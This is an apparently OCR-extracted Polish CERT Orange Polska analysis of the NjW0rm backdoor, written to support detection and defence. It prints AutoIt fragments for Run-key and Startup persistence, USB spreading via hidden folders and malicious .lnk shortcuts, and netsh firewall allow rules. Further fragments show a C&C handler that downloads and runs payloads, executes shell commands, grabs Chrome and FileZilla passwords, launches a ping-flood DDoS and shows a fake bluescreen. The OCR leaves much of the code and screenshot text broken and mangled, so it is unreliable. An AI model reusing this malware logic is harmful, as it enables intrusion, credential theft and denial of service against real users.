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Orange Polska S.A.
Bezpieczenstwo Systemdw Teleinformatycznych / Wydziat Operacji Bezpieczenstwa

W ostatnich dniach CERT Orange Polska wykryt w sieci klienckiej Orange Polska wzmozong
aktywnos¢ popularnego ztosliwego oprogramowania NjwOrm (identyfikowany rdéwniez jako
Backdoor.LV), pozwalajgcemu cyber-przestepcy na przejecie petnej kontroli nad zainfekowanym
komputerem (w tym kradziez logindw i haset, wykonywanie dowolnych polecen systemowych
oraz otrzymywanie przysztych aktualizacji od botmastera). Dla potrzeb niniejszej analizy
przeprowadzone zostaty rowniez proby dziatania w realnym zainfekowanym $rodowisku
systemowym, odizolowanym od sieci internet. Pozwolito to na doktadne przedstawienie
ztosliwych funkcji oprogramowania NjwOrm wraz z odpowiedzialnymi za nie fragmentami kodu.

Pod wzgledem komunikacji z Centrum Kontroli (Command&Control, C&C) analizowane
oprogramowanie przypomina njRAT, analizowanego niedawno na stronie CERT Orange Polska.
Command&Control wirusa napisany jest w jezyku Visual Basic, za$ jego dropper — w jezyku
AutolT. Ponizszy kod posiadat zdefiniowany adres serwera C&C wraz z numerem portu na ktérym
sie komunikuje oraz informacje w jakim katalogu uzytkownika zostanie docelowo zapisany
(AppData) i pod jakg nazwa (IE_10_update.exe).

Opt ("BunErrorsFatal™, 0

Local #Host ~ I
Local $FORT 81

Local $EXE "IE_10_updat
Local SDIR EnvGet ("app %"
Local SVR THET
Local $name "IE_10_update”
fname " Hex( driveGetSerial
$05 BOSVerszion "& [OSArch 0SServicePack, "Service Pack 5B
if StringInSte( %03, "SP")<l1 then 503
Local $USB T
cusb
fmelt=0
£¥="0njxgs0"
SMIX ="appdatalE 10 update.exe”
$TIMER=0
£fh=-1
if fcmdline[0]=2 Then

Select

cage Scmdline[l "del™

if smelt=-1 Then
FileDelete (5cmdline[2
endif
EndSelect
endif

Fragment kodu odpowiedzialny za instalacje ztosliwego oprogramowania w rejestrze
systemowym oraz dopisanie kluczy, uruchomiajgcych wirusa przy kazdym starcie systemu
uzytkownika oraz skopiowanie go do autostartu systemowego.

Func ins
If RegRead ("HKEY CURRENT USER‘\Software\Microsoft\Windows\CurrentVersion‘\Run", $exe Chriw(34 BAutoltExe ChrW(34) Then
RegWrite ("HKEY CURRENT USER‘\Software‘\Microsoft\Windows‘\CurrentVersion\Run", %exe, "REG S5Z", ChrW(34 2 ChriW(34
EndIf
If RegRead ("HKEY LOCAL MACHINE\Sof re\Microsoft\Windows\CurrentVersion\Run", sexe Chriw(34 BAutoItEx ChriW(34) Then
RegWrite ("HKEY LOCAL MACHINEAS ‘\Microsoft\Windows\CurrentVersion\Run", %exe, "REG 3Z", ChrW(34 @AutoItExe ChriW(34
EndIf
If FileExists sexe False Then
FileCopy (@B @StartupDir =y sexe, 1
EndIf
If @error Then
EndIf
EndFunc
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Zawierajacy wirusa plik o nazwie IE_10_update.exe widzimy po wejsciu do lokalizacji

C:\Uzytkownicy\Nazwa_uzytkownika\AppData\Roaming\Microsoft\Windows\Menu
Start\Programy\Autostart\

< Przegladarks plikéw KPS
] Windows DVD Maker
# Windows Media Center
[0 Windows Media Player

=] Windows Update

M Wireshark Legacy

M Wireshark

7-Zip

Akcesoria

Autolt v3

Two Graj

Dokumenty
Obrazy

Muzyka

«Juzytkownicy » TwoGraj » AppData » Roaming » Microsoft » Windows » MenuStart » Programy » Autostart | «[+3][ Pr=
Komputer
FileZilla FTP Client Urmiesé w bibliotece »  Udostepnij = Nowy folder =~ [0 @
Gry Panel sterowania =
DA Pro “ ' Namwa Datamodyfikacii  Typ Rozrmiar
K = :
onserwacja Urzadzenia i drukarkd | G Aplikagia o62ke |
Motepads+ E
Python 27 Programy domysine
Resource Hacker
WinPcap Pomec | obsluga techniczna
1 Wstecz

zas rejestr systemowy potwierdza utworzenie pliku wirusa w danej lokalizacji

C:\Uzytkownicy\Nazwa_uzytkownika\AppData\Roaming\

4 Edytor rejestru

Plik Edycja Widok Ulubione Pomoc

=l

Explorer
Ext

Group Policy
HomeGroup
ime

Internet Settings
MCT

NetCache
Policies

RADAR

Run

RunOnce
Screensavers
Shell Extensions
Sidebar
Telephony
ThemeManager
Themes
WinTrust

DWM

Shell

TabletPC

>~ |, Windows Error Reporting
Windows Mail

m

Typ
REG SZ

Dane

(wartos¢ nie ustalona)

| REG_SZ

"C:\Users\lwo Graj\AppData\Ruammg\ls,m,updata.m"|

m

Komputer\HKEY_CURRENT_USER\SoftwarelMicrosoft\Windows\CurrentVersionRun

co widac réwniez ponize;j:

& Edytor rejestru ==
Plik_Edycia Widok Ulubione Pomoc
Explorer Nazwa Typ Dane
E“‘ o 2] (Domyzin) REG_SZ (wartos¢ nie ustalona)
roup Toliey aB|IE 10 update.exe  REG_SZ “Ci\Users\we GvaMppDm\Ruammg\l&,m,upda(a.m“|
HomeGroup
ime
Intemet Settings
McT
NetCache
Policies - J
RADAR @v?l » [Komputer » Dysk lokalny (C) » Uzytkownicy » woGraj » AppData » Roaming » | [ 43| [ Preszukaj: Roaming »
Run
RunOnce Organizuj v Umieéé wbibliotece v Udostepnij v Nowy folder =- 0 @
Screensavers b Nazwe ° Datamodyfikacji  Typ Rozmiar
Shell Extensions SL LD
Sidebar 4 Ostatnie micjsca Adobe Folder pliké:
Telephony & Pobrane Identities Folder plikew
ThemeManager B Pulpit Media Center Programs Folder plikéu
Themes Microsoft Folder pliké:
WinTrust
nwmm "~ & Biblioteki Notepads+ Folder plikéw
Shell 3 Dokumenty Wireshark Folder pliké
TabletpC o Muzyka | =91 10 upaate Aplikagja 962 kg
Windows Error Reporting & Obrazy & IE10_updatexe Ustawienia konfig. 1KB
Windows Mail H wideo
Komputer\HKEY_CURRENT_ \Current)
Y Grupa domowa
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orange”

Wirus propaguje sie réwniez poprzez przenosne pamieci USB (pendrive’y), co przedstawia
ponizszy kod. Wirus caty czas sprawdza czy do komputera podtgczone sg urzagdzenia wymienne.
Jesli wykryje naped o pojemnosci 1024 MB i wiekszej o statusie ,READY”, tworzy katalog ukryty
»My Pictures”.

Func usb
$d = DriveGetDrive ("REMOVABLE"
For $dd = 1 To UBound($d) - 1
If DriveStatus($d[&dd] = "RERDY" Then
If DriveSpaceFree (5d[5dd. 24 Then
If FileExista(éd(gdd] = "\My
$£ = _filelisttoarray
If FileExists(§d[§dd] = "\" =
Else
FileCopy (@A
FileSetAccrib($d[#dd] = "\"
$yes = 0
For su = 1 To UBound(6f) - 1

& "\My Pictures"

Syes = 0
ExitLoop
EndIf

FileSetAttrib($d[$dd] «
FileCreateShortcut ("cnd. $E[$ul, ™", "/c start " & StringReplace(fexe, " ", ChrW(34) s " " s ChrW(34)) = 'sexplorer /root,"$CD%' s StringReplace($£[$ul, " ", ChrW(34) & " " = ChrW(34
" & exit', ™", "swindir$\system32\SHELL32.411", "", 3, '
Next
EndIf
_arraydelete (3£, 0

EndFunc

Nastepnie pobiera liste nazw dziesieciu folderéw na dysku wymiennym a nastepnie ukrywa je
tworzac pliki w postaci skrotéw ,,.Ink” o tych samych nazwach dla kazdego z nich.

Organizuj [ Otwérz Nagraj Mowy folder = O @

P Nazws : Dots modyfikacji  Typ Rozmiar
| Ostatnie migjsca System Volume Information 2017-05-1011:50 Folder plikéw
& Pobrane Testl 2017-05-1011:51 Folder plikéw
B Pulpit Testl —kopia 2017-05-10 11:51 Folder plikéw
Testl — kopia (2) 2017-05-1011:51 Folder plikaw
4 Biblioteki Testl —kopia (3) 2017-05-1011:51 Folder plikéw
3 Dekumenty Testl — kopia (4) 2017-05-1011:51 Folder plikaw
o Muzyka Testl —kopia (5) 2017-05-1011:51 Folder plikéw
=] Obrazy Testl — kopia (6) 2017-05-10 11:51 Folder plikéw
B wideo Testl —kopia (7) 2017-05-1011:51 Folder plikéw
Testl — kopia (8) 2017-05-1011:51 Folder plikdw
18 Komputer L Testl — kopia (9) 2017-05-1011:51 Folder plikéw
&, Dysk lokalny (C)| Testl — kopia (10) 2017-05-10 11:51 Folder plikéw
@ PEMDRIVE (E:) Testl — kopia (11) 2017-05-1011:51 Folder plikéw
. System Volumg [z System Volume Information 2017-05-1012:13 Skrat 1KB
. Testl @/ Testl 2017-05-1012:13 Skrat 1KB
. Testl — kopia [z Testl —kopia 2017-05-1012:13 Skrat 1KB
. Testl — kopia @) Testl — kopia (2) 2017-05-1012:13 Skrat 1KB
Testl — kopia [z Testl —kopia (3) 2017-05-1012:13 Skrot 1KB
. Testl — kopia @) Testl — kopia (4) 2017-05-1012:13 Skrat 1KB
Testl — kopia [z Testl —kopia (5) 2017-05-1012:13 Skrot 1KB
. Testl — kopia @) Testl — kopia (6) 2017-05-1012:13 Skrat 1KB
Testl — kopia [2)) Testl — kopia (7) 2017-05-1012:13 Skrét 1KB
. Testl — kopia
Testl — kopia
. Testl — kopia
Testl — kopia .
Testl — kopia (7) Data modyfikacji: 2017-05-1012:13 Data utworzenia: 2017-05-1012:13
Skrét Rozmiar: 788 bajtow
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W kolejnym kroku ukrywa faktyczne foldery dla uzytkownika, pozostawiajgc udajace je pliki .Ink.

e ¥ Komputer » PENDRIVE (E) »

7 Ulubione

15 Ostatnie migjsca
& Pobrane

B Pulpit

4 Biblioteki
5| Dokumenty
J'- Muzyka
[ Obrazy

B wideo
18 Komputer
&, Dysk lokalny (C:)

= PENDRIVE (E:)

?j Sieé

Elementéw: 16

-

Organizuj v Udostepnij +  Magraj  Mowy folder

Nazwa :
My Pictures
Testl — kopia (8)
Testl — kopia (9)
Testl — kopia (10)
Testl — kopia (11}

| Bez tytulu

(W) Bez tytutu2

@ System Valume Information
&) Testl — kopia (2)
@ Testl — kopia (3)
[2)) Testl — kopia (4)
@ Testl — kopia (5)
@ Testl — kopia (6)
[2)) Testl — kopia (7)
@ Testl — kopia

@) Testl

Data modyfikacji

2017-05-1012:13
2017-05-1011:51
2017-05-1011:51
2017-05-1011:51
2017-05-1011:51
2017-05-1012:14
2017-05-1012:15
2017-05-1012:13
2017-05-1012:13
2017-05-1012:13
2017-05-1012:13
2017-05-1012:13
2017-05-1012:13
2017-05-1012:13
2017-05-1012:13
2017-05-1012:13

Typ

Folder plikéw
Folder plikéw
Folder plikéw
Folder plikéw
Folder plikéw

Obraz PNG
Obraz PNG
Skrat
Skrét
Skrat
Skrot
Skrgt
Skrat
Skrot
Skrgt
Skrat

Rozmiar

216 KB
210 KB
1KB
1KB
1KB
1KB
1KB
1KB
1KB
1KB
1KB

W ostatnim etapie kopiuje sie na zainfekowane urzadzenie pod nazwa /E_10_update.exe.
Ponizszy zrzut przedstawia skopiowany plik wirusa. Dzieki wybraniu opcji systemowej ,Pokaz
ukryte pliki” mozemy zobaczy¢ petng instalacje wirusa na zewnetrznym nosniku.

-{ Ulubione

15| Ostatnie migjsca
& Pobrane

B Pulpit

- Biblioteki
3 Dokumenty
& Muzyka
[&=| Obrazy
B wideo

18 Komputer
&2, Dysk lokalny (C3)

e PENDRIVE (E5)

€ Siee

Elementdw: 24

QOrganizuj = Udostepnij = Nagraj Nowy folder

Nazwa Data modyfikacji  Typ Rozmiar
. My Pictures 2017-05-10 12:13 Folder plikdw
Testl 2017-05-10 11:51 Folder plikow
Testl — kopia 2017-05-10 11:51 Folder plikéw
Testl — kopia (2) 2017-05-10 11:51 Folder plikow
Testl — kopia (3] 2017-05-1011:51 Folder plikéw
Testl — kopia (4] 2017-05-10 11:51 Folder plikdw
Testl — kopia (3) 2017-05-10 11:51 Folder plikéw
Testl — kopia (6) 2017-05-10 11:51 Folder plikdw
Testl — kopia (7) 2017-05-10 11:51 Folder plikéw
i Testl — kopia (8) 2017-05-10 11:51 Folder plikdw
J Testl — kopia (9) 2017-05-10 11:51 Folder plikéw
. Testl — kopia (10) 2017-05-10 11:51 Folder plikdw
Testl — kopia (11) 2017-05-10 11:51 Folder plikow
| Bez tytutu 2017-05-1012:14 QObraz PNG 216 KB
[F i 10_update 2017-04-06 21:43 Aplikacja 962 KB |
[@. System Volume Information 2017-05-1012:13 Skrot 1KB
@) Testl — kopia (2) 2017-05-10 12:13 Skrat 1KB
[#) Testl — kopia (3) 2017-05-1012:12 Skrot 1KB
@) Testl — kopia (4) 2017-05-10 12:13 Skrat 1KB
[#). Testl — kopia (3) 2017-05-1012:12 Skrot 1KB
(@) Testl — kopia (6) 2017-05-1012:13 Skrét 1KB
@) Testl — kopia (7) 2017-05-1012:12 Skrot 1KB
(@) Testl — kopia 2017-05-1012:13 Skrét 1KB
@) Testl 2017-05-10 12:13 Skrat 1KB
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Kolejny zrzut przedstawia zawartos¢ tworzonego przez malware skrétu ze ztosliwym skryptem.
Wywotuje on linie polecen cmd.exe, by nastepnie uruchomié¢ plik [E_10 update.exe z
przetacznikiem /c start, powodujac infekcje systemu kolejnego uzytkownika.

“5 & viE Y s aj: PENDRI o
g== ¥ 1l @
D Eozmiar
. o o
]
ta modyfikacji Typ Rozmiar
2
:ldad Kolory | Zgodnosé | Szczegdty
216 KB
210KB
225 KB
gl ke BT B Wideo 2 System V|| 1KB
Testl @ T Element docelowy: 3te.exedexplorer froot, "%CD%Testl™ & exit
X @) Testl — 1KB
Tasﬂ—kop!a L 1M Komputer @) Testl — 1KB
Iﬂ& - t”p'a [l B &, Dysk lokalny (C:) &) Testl ||| Fomocmiw: 1KB
estl — kopia BeIBY| - PENDRIVE (E) @) Testt— ||| awiz skrotur Brak 1K
Testl — kopia @) Testl— 1KB
Testl — kopia G Sice B Testt Uruchom: [zminmalizowane -] T
Testl — kopia ) Testl — Komentarz: LKE
Testl — kopia
Testl —k @) Testl | Otwérz lokalizacje plku | |Zmier’v ikong.... | |Zaawansowane.‘. ‘ Lke
==L W] Bez tytud 26 KB
Testl — kopia
Testl — kopia
Testl —kopia .
Testl — kopia (7) Dat
Skrét
| =

Przy infekcji wirus modyfikowat réwniez ustawienia firewalla systemowego, dodajgc wpis netsh
co powodowato dodanie wirusa do zaufanych programéw, uruchamianych przy starcie systemu w
katalogu , Autostart”.

Func xins
Env5et ("5EE !
ShellExecute edprogram ChriW(34 BAutoItExe ChriW(34 o ChriW(34 fexe ChriW(34 " ENRELE" SW_]
If Berror Then
EndIf
FileCopy (@BAutoItExe, @StartupDir " texe, 1
If Berror Then
EndIf
EndFunc
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Sciezka Autostart w systemie Windows w ktdrg kopiowat sie wirus.

4 Przegladarks plikéw KPS

] Windows DVD Maker

@ Windows Media Center
Windows Media Player

=] Windows Update

M Wireshark Legacy

M Wireshark

7-Zip

Akcesoria

Autolt v3 iz

Autostart
57 IE.10_update - [ «IUZ:.tVD»‘mE:. » IwoGraj » AppData » Roaming » Microsoft » Windows » MenuStart » Programy » Autostart |

FileZilla FTP Client

Two Graj

Dokumenty

Obrazy

= [ | [ Precsaukaj Autastar

Umiesé w bibliotece v Udostepnij »  Nowy folder =Y 0 @

Gry Panel sterowania =
DA Pro Nazwa Data modyfikacii  Typ Rozmiar
K - )
""""""" I Lt i | 910 _update 017-04-06 2143 Aplikagia o62ke |
Notepad
Python 2.7 Programy domyéine
Resource Hacker
Winbeap B pomoci obsiuga techniczna
4 Wstecr

[[Wyszukej programy i pio N | ol 2 i

Panel logowania przedstawiony ponizej przedstawia okno z informacjami o aktywnych
zainfekowanych komputerach ktére cyberprzestepca ma pod swojg kontrola.

Panel C&C zawiera informacje na temat lokalizacji kraju urzadzenia (POL) , wersji systemu
operacyjnego (WIN_7_X86 SP1), wersji ztosliwego oprogramowania (3.5), informacji na temat
podtgczonych wymiennych urzadzen pamieci masowej obecnie ( No / Yes) i aktualnie aktywnych
oknach uzytkownika.

'] npwlrm v3.5 Onling[ 1 ] CON[ 1 ] Spread[ 20,0 ] Sel[ 0] = [=] £Z
Name 1P Country | OS Ver. | USB | Active Window
IE_10_update_4... 10.0.2.15 POL WIN_7 X86 SP1 3.5 H

Zadaniem okna Logs jest informowanie botmastera jakie polecenia zostaty do tej wykonane na
danym zainfekowanym komputerze.

B Logs =1 >

49193 Mew Connection
49193

49631 Mew Connection
49631
:49631 Executed Az fduvgfhigup.exe
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Ponizszy kod Zrédtowy wirusa przedstawia komendy wraz z ich funkcjonalnoscia.

Case $3[1] = "DOL"
InetGet($a[2], @TempDir & "\"
If FileExiata (@TempDir & °
Shellb(ecute( "cmd.exe™, "/c
3" & 4y & "Executed As "

e, wv BSW HIDE)

" & $§v & "Download ERR™)

EndIf
Case $z[1] = "up”
InetGet($a[?], BTempDir & "\

& $a[3], 1)
If FileExists(@TempDir & "\" & $z[3]) Then
ShellExecute ("cmd.exe”, "/c Start $temp®\" & $a[3], ", "", ESW_HIDE)

uns ()

EndIf

sd("M55" & Sy & "Update ERR")
Case $3[1] = "un"

una ()
Case fa[1] = "ex”

Execute($a[2])
Case $a[l] = "cmd"

ShellExecute ("cmd.exe", $a[2], ™", "", BSW_HIDE)
Case fa[l] = "

sd("paz" v & noip() & chrome() & filezilla())
Case $z[1] = "url”

ShellExecute ($a[2])
Case $a[l] = '
RunWait (BComSpec & " /c ping " & $a[2] & " -1 " & $a[2] & " -t", "", BSW_HIDE)

Case f3[1] = "mag”
P.'schx(_', 5&[:], fal:])
Case $3[1] = "sch”

_winapi ahmicursnr(?alse)
HotKeySet (" "ExitBlueScr"™)
Global $deskt: @DeakvopWidth, $dssktopheight = @DesktopHeight
Global $des.\ctopdEp‘r = (@iDesktopDepth, $desktoprefresh = @DesktopRefresh
GUICreate ("B , BDesktopWidth + 4, @DesktopHeight + 4)
GUISetBkColor(l40)
$label = GUICtrlCreatelabel problem has been de d and Wind
BCRLF & "The problem see £
@CRLF & "I ou
@BCRLF & "these steps & QCRLF & @"RLF &
& "If this is & install
@BCBLF & BCRLF & "If problems
@CBLF & "If vou need to use Safe Mode To remov T a T * & BCELF &
BCRLF & "s=e " & BCRLF & @""RLF & "Techni in " & @CRLF & @CRLF & "
BCRLF & BCRLF & BCRLF & "*## dress & BFE5000, DateStamp 3dédd
GUICtrlSetFont (-1, 17,
GUICtrlSetColor(-1, 1421

73 has been shut down to prev
N.5¥5™
& @CELF & "

3." &

A

, @DesktopWidth - 10, @)Esltcpﬂe1ght - 10y

Kod wirusa, ktéry jest odpowiedzialny za przekazywanie do C&C takich informacji, jak: nazwa
kampanii wirusa(Sname), adres IP urzadzenia ($k), nazwa systemu operacyjnego (Sos), wersja
malware (Svr), czy tez danych na temat podpietej pamieci przeno$nej USB (Susb) i informacji o
aktywnym otwartym oknie (WinGetTitle)

cnf)
sd("1lv" & fy¥ & Sfname &k Sv &k k() & $v & fos5 & Sy &k Svr & §v & Fusb & 5y & WinGetTitle(""))
Case fpk = "7
Stimer += 1
If $timer = £ Then
$timer = 0

fea = WinGetTitle("")
If $ea <> fac Then

sd("ac” & $y & $e=a)
EndIf

(3]

= fea

"

45

=
e

g
i1

EndIf

Case fpk <= "7
= 5t
Lo

a tringdSplit($pk, "OnJzgs0™, 1)
f #a[0] » 0 Then

H i
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Komunikacja Malware

Zainfekowany komputer faczy sie z serwerem C&C, przesytajgc informacje o obecnych dziataniach
uzytkownika i jego aktywnych oknach, czekajac na polecenia z C&C. Przyjrzyjmy sie podstuchanej
komunikacji miedzy C&C a zainfekowanym komputerem: przestaniu informacji o aktywnym oknie
»Program Manager” z zainfekowanego komputera do C&C oraz komunikacji z C&C do komputera

z poleceniem uruchomienia pliku dwduwfkklp.exe

acBnjxq88Program Manager

achnjxq8Bnjwdrm v3.5 Online[ 1 ] CON[ 1 ] Spread[ %8,8 ] Sel[ 1 ]
MSGBnjxq8BExecuted As dwduwfkklp.exe

acBnjxq8BPuTTY Configuration

acBnjxq88njwdrm v3.5 Online[ 1 ] COH[ 1 ] Spread[ %8,8 ] Sel[ 1 ]

Wirus posiadat tez w kodzie funkcje odinstalowujgcg go ze wszystkich lokalizacji systemu
operacyjnego uzytkownika. Za pomoca funkcji RegDelete usuwat z rejestru systemowego klucze
aktywujace przy restarcie, FileDelete powodowata usuniecie pliku z autostartu systemowego,
ShellExecute z wartosciami ,,netsh firewall delete allowedprogram” usuwata wpis reguty lokalnego

firewalla, na koniec usuwajgc plik wykonywalny wirusa.

Func uns
RegDelete ("HKEY CURRENT USERM\Sof Microsoft\Wi
RegDelete ("HKEY LOCAL MACHINE\Softw \Microsoft\W
FileDelete (BESt I sexe
ShellExecute ("netsh”, "firewall delete allowedprogram " ChriW(34 fAutoIltExe Chrii (34
usbx

i3\ CurrentVersion\Run", $exe
wdows'\ CurrentVersion\Run", %exe

ShellExecute (@ComSpec, “/k ping 0 & del ™ ChriW(34 BAutoItExe Chri (34 " & exit", ", "

Exit
EndFunc

CERT OPL, Analiza NjwOrm; Autor: Iwo Graj
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Ponizszy kod odpowiada natomiast za odinstalowanie wirusa z urzgdzenia przenosnego przez
usuniecie atrybutéw na ukrytych plikach oraz usuniecie pliku z wirusem i stworzonych przez niego
skrotow.
Func usbx

£d = DriwveGetDrive ("REMOVABLE"
For #dd 1 Toc UBcundi$d 1

If DriveStatus($d[sdd "EEADY™ Then
If DriveSpaceFree(sd[5dd 1024 Then
$f = filelisttoarray(sd[$dd mEET2
If FileExists($d[$dd " zexe] Then
FileSetAttrib(sd[$dd " texe, "-H4N"
FileDelete ($d[5dd " fexe
EndIf
For su 1 To UBcund ($£ 1
FileSetAttrib(sd[$dd " sf[su "-H"
FileSetAttrib(sd[$dd " sf[su "
FileDelete ($d[5dd " sf[%u ".1lnk"
Hext
_arraydelete ($£, 0
EndIf
EndIf
Hext
EndFunc

Funkcje wirusa

MsgBox. Wystanie na zainfekowany komputer i uruchomienie okna dialogowego uzytkownikowi
o dowolnej zawartosci. Wpisanie i komunikacja:

'F] npwlrm v3.5 Online[ 1 ] CON[ 1 ] Spread[ %50,0 ] Sel[1 ]
Name P Country 0s Ver. UsB
IE_10_update 4CFA10TB 10.0.2.15

npwlrm

Enter Mzsgboux Text

I |ANALIZA NjWOm CRERT ORANGE POLSKA

B Logs

18.8.2.15:47416 Mew Connection
1i8.8.2.15:49416
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Efekt na zainfekowanym komputerze — wyswietlenie okna.

Test FUNKCJI MSGBOX (=2

AMALTZA NjWOrm CRERT ORANGE POLSKA

Bluescreen. Wywotanie na komputerze uzytkownika ,Niebieskiego ekranu 3$mierci” ze
zdefiniowanym komunikatem:

as been shut down to prevent damage
to your computer.

The problem seems to be caused by the following file: SPCMDCON.SYS
PAGE_FAULT_IN_NONPAGED_AREA

If this is the first time you've seen this stop error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
your computer, press F8 to select Advanced Startup Options, and then
select Safe Mode.

Technical information:

*¥% STOP: 0x00000050 (O0xFD3094c2,0x00000001,0xFBFE7617,0x00000000)

#%% SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3dé6dd67c

CERT OPL, Analiza NjwOrm; Autor: Iwo Graj Strona 11 z 22
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Jak widaé, kod odpowiedzialny za powyisze dziatanie pozwala dowolnie modyfikowac
wyswietlany komunikat.

Case $all "sch”
_winapi_showcursor (False
HotKeySet (" [F2}", "ExitBluas

Global $desktopwidth
Clobal $desktopdepth
GUICreate("Bluescr”, @
GUISetBkColor (160
$label

1, $desktopheight = ED
0, $desktoprefresh

4, @Desk ight

hen"

e @CE s
GUICtrlSetFont (-1, 17, 100, -1, "Lucids Console"”
CUICtrlSetColoxr (-1, 14211288
GUICtrlSetOnEvent (-1, “Hone"
GUISetState
$iwidth = 1024
$iheight = 763
$ibitspp = 32
$irefreshrate = &0
BlockInput (1
If $iwidth = @DesktopWidth AND $iheight = @DesktopHeight AND $ibitspp = @DesktopDepth AND $irefreshrate = EDesktopRefresh Then
CUISetBkColer (0
GUICtrlSetState $label, $gui_hide
_changescreenres (800, €00, $ibitspp, $irefreshrate
Sleep (1000
GUICtrlSetState($label, $gui_show
CUISetBkColox (160
_changescreenres ($iwidth, $iheight, $ibitspp, $irefreshrate

Else
_changescreenres ($iwidth, $iheight, $ibitspp, $irefreshrate
Endlf
While 1
WEnd

Wywotany efekt funkcji po lekkim zmodyfikowaniu kodu wirusa:

MODYFIKACJA KODU I WYWOLANIE FUNKCII SCREEN BLUE WIRUSA NJWORM DLA POTRZEBY
ANALIZY

ANALIZA DLA CERT ORANGE POLSKA.
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Open Page. Zdalne otwarcie dowolnej strony na zainfekowanym komputerze. Wywotanie:

'] npwlrm v3.5 Online[ 1 ] CON[1 ] Spread[ 20,0 ] Sel[1 ]
Country | OS5
IE_10_update_4... 10.0.2.45 POL WIN_7 X86 5P 3.5

njwdrm

Enter URL

hitps://www.cert.orange pl|

iB.8.2.15:49163 New Connection
18.8.2.15:49163

Efekt dla strony www.cert.orange.pl na zainfekowanym komputerze uzytkownika.

[E=8 [ Eel =)
i‘" ‘Vhttps :f'D(ange.pl }5 v 5 Qraﬂge P<;-C r WVCERT Orange Polska ‘
Bo WiFi byto darmowe... Wszystko za Kiiki, czyli jak plotka moze , )
stac sie grozna prawda ";'cc‘i:;ua':s"tg‘"r’“gﬁgg a
dni

< Inbox (38073) < blt:l}[lnn YT

From: services@ paypzﬂcom 'mer"a"“'“‘l v :
To: | [ e ruja usphIShI g

We detected something unusual and s k ftmn
info y?s:’;icssrr:et ing unusual and sign hac erl.ll en “ S
sfirewall 7=

Phisherzy sg coraz sprytniejsi Analiza trojana vjwOrm

| Zobacz wszystkie aktualnosci

m Ustugi bezpieczeristwa dla m Newsletter E Poradniki
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DDoS. Pozwala na uzycie zainfekowanego urzgdzenia do przeprowadzenia ataku DDoS.
Dla potrzeb analizy przeprowadzono test, uruchamiajgc w sieci wirtualnej trzy instancje.
Pierwsza, pod adresem 204.95.99.26 (Command&Control), druga (204.95.99.20) to zainfekowana
stacja uzytkownika, za$ trzecia — 204.95.99.23 — to docelowa ofiara DDoS, zdefiniowana przez
botmastera.

B njw0rm v3.5 Onling[1 ] CON[ 1 ] Spread[ 260,01 Sel[ 1]
Name IP Country | OS5 Ver. | USB | Active Window
IE_10_update_4... 204.959920  POL WIN_7 X86 SP1

njwlrm

Enter IP

| |204.95.99.23

Zdefiniowanie parametréw DDoS:

B njwirm v3.5 Online[ 1] CON[1 ] Spread[ 260,01 Sel[1 ] = = 22
Name P Country 0s Ver. use Active Window
IE_10_update_4... 204.95.99.20 POL . C:Windows\syste...

njwdrm

Enter Dos Attack Mumbar = 5000 or 25000 or
65000

I [e5000
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Ponizszy listing przedstawia fragment ruchu z przeprowadzonego DDOS z komputera atakowanej
trzeciej instancji o adresie 204.95.99.23.

No. Time Source Destination Protocol  Length  Info b
304 98.491681 284.95.99. 28 284.95.99.23 ICHP 246 Echo (ping) request id=8x@081, seq=61/15616, ttl=128 (reply in 395)
395 98.491735 284.95.99.23 204.95.99.20 ICHP 246 Echo (ping) reply  id=exe@@l, seq=61/15616, ttl=128 (request in 394)
396 99.493828 264.95.99.28 264.95.99,23 IMP 246 Echo (ping) request id-8%@801, seq=62/15872, ttl=128 (no respense found!)
397 99.493122 204.95.99.23 204.95.99.20 ICMP 246 Echo (ping) reply  id=8x@801, seq=62/15872, ttl=128 (request in 396)
398 188.2498768 284.95.99.28 284.95.99.26 TCP 6@ 49286 + 81 [ACK] Seq=65 Ack=73 Win=255 Len=8
390 180.589375  284.095.99.20 284.95.99.23 ICHMP 246 Echo (ping) request id=8x@081, seq-63/16128, ttl=128 (reply in 400)
400 100.509481  2@4.95.99.23 204.95.99.20 ICMP 246 Echo (ping) reply  id=8x@@81, seq=63/16128, ttl=128 (request in 399)
491 19@.542927 PcsCompu_8e:61:ba Broadcast ARP 42 Who has 18.8.8.1? Tell 284.95.99.23
482 101.824602 PcsCompu_62:8c:71 Broadcast ARP 6@ Who has 18.8.8.1? Tell 204.95.99.28
493 191.121159 PcsCompu_8e: Broadcast ARP 42 Who has 10.8.8.17 Tell 284.95.99.23
4p4 181.527484  204.05.99.36 284.95.99.23 TCHMP 246 Echo (ping) request id=8x@@81, seq=64/16384, ttl=128 (reply in 485)
405 181.527595 204.95.99.23 204.95.99.20 ICMP 246 Echo (ping) reply  id=8x8@81, seq=64/16384, ttl=128 (request in 484)
486 181.771274 PcsCompu_6B2:8c:71 Broadcast ARP 68 Who has 18.8.8.17 Tell 284.95.99.28
467 102.1687261 PcsCompu_8e:6l:b4 Broadcast ARP 42 Who has 19.8.6.1? Tell 204.95.99.23
|— | 4@8 182.558484 284.95.99.28 284.95.99.23 ICMP 246 Echo (ping) request 1id=8x@881, seq=65/16648, ttl=128 (no response found!) | |
+ | 289 182.558532 2@4.95.99.23 284.95.99.20 ICMP 246 Echo (ping) reply id=8xB@B1, seq=65/16648, ttl=128 (request in 483) il
418 182.771234 PcsCompu_62:8c:71 Broadcast ARP 6@ Who has 18.8.8.1? Tell 204.95.99.28 4
411 183.55@879 204.95.99.20 204.95.99.23 ICMP 246 Echo (ping) request id=@xe@8l, seq=66/16896, ttl=128 (reply in 412) =

> Frame 4@88: 246 bytes on wire (1968 bits), 246 bytes captured (1968 bits) on interface @

> Ethernet II, Src: PcsCompu_62:8c:71 (@8:0@:27:62:8c:71), Dst: PcsCompu_8e:6l:b4 (@8:00:27:8e:61:b4)
> Internet Protocol Version 4, Src: 284.95.99.28, Dst: 284.95.99.23

> Internet Control Message Protocol

BEEE B8 8@ 27 8e 61 ba 88 8@ 27 B2 Bc 71 88 88 45 B8 ..".a... "b.g..E.
G010 BB 28 B6 lc @0 @@ 80 @1 d5 @e cc 5F 63 14 cc 5F -
63 17 B8 @@ d8 94 82 @1 @@ 41 61 62 63 B4 65 66 .Babcdef
67 68 69 6a 6b 6c 6d 6e 6T 78 71 72 73 74 75 76  ghijklmn opqrstuv
